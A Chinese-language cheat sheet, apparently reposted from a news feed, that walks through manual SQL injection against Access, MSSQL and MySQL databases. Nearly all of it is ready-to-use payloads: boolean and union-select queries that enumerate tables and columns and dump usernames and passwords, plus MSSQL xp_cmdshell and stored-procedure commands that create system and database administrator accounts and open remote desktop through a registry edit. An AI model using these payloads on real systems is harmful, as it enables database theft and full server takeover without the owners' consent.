Access+Mssql+Mysql 手工注入基本流程

0x01

Access 注入

判断表名:adminand (select count(*) from admin)>0判断字段名:username,passwordadmin_user admin_pwdand (select count(admin_user) from admin)>0猜解值的长度:admin_user=5 admin_pwd=16and (select len(admin_user) from admin)=4依次尝试猜属性值:and (select left(admin_user,1) from admin)='a'在’ ‘中依次尝试字母数字and (select left(admin_user,2) from admin)='ad'and (select left(admin_user,3) from admin)='adm'偏移注入猜表名: and exists (select * from 你要猜得表名)查看是否存在表名 (存在的情况下页面刷新正常,同理猜字段一样的 结果存在admin)猜列名的字段名: and exists (select 你要猜的字段名 from 你已经才出来的表名)查看是否存在字段名(结果存在username和password)order by n 直到返回不正常,那么返回的列数就是n-1。n用二分法取。得出显位的数字union select 1,2,3,4,5,...,n-1 from admin 用显位猜解出字段内容union select 1,2,username,4,5,...,n-1 from admin

0x02

Mssql/sqlserver 注入

判断注入点:and 1=1 and 1=2猜版本:and 1=@@version猜用户名:and 1=user猜当前连接数据库:articleand 1=db_name()猜解其它数据库:and 1=(select name from master.dbo.sysdatabases where dbid=6)猜第一个表名:’admin’因为列的当前数据库,所以 sysobjects=article.sys.sysobjectsand (select top 1 name from sysobjects where xtype='u')>0猜其他表名:’t_jiaozhu’and (select top 1 name from sysobjects where xtype='u' and name not in('admin'))>0猜字段:username,passwordand (Select Top 1 col_name(object_id('admin'),1) from sysobjects)>0猜值and (select username from admin)>0破解密码MD5或者更改密码MD5值后续操作sqlserver 存储扩展应用建立系统用户:net user username pass /add系统提权net localgroup administrators username /add打开3389reg add "hklm\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t reg_dword /d "0" /f建立数据库用户:;exec master..sp_addlogin user,pass;--数据库提权:;exec master..sp_addsrvrolemember aa,sysadmin;--xp_cmdshell应用建立系统用户;exec master..xp_cmdshell "net user bb bb /add"--防止xp_cmdshell:;exec master..sp_dropextendedproc 'xp_cmdshell'恢复xp_cmdshell;exec master..sp_addextendedproc 'xp_cmdshell','xplog70.dll'彻底防溢出c:\windows\system32\cmd.exe 删除所有默认权限.添加administrator–完全控制

0x03

Mysql 注入

猜解字段数order by 3%23 union select 1,2,3%23获取当前数据库名union select 1,(select database()) ,3%23security获取所有数据库名union select 1,2,(select group_concat(schema_name) from information_schema.schemata)%23information_schema,challenges,mysql,performance_schema,security获取表名union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479)%23emails,referers,uagents,users获取列名union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name=0x7573657273)%23id,username,password获取数据union select 1,2,(select group_concat(id,0x7c,username,0x7c,password) from security.users)%23获取数据库版本union select 1,@@version,database()%23

  • 发表于:
  • 原文链接:http://kuaibao.qq.com/s/20171210A0AAYP00?refer=cp_1026

同媒体快讯

相关快讯

扫码关注云+社区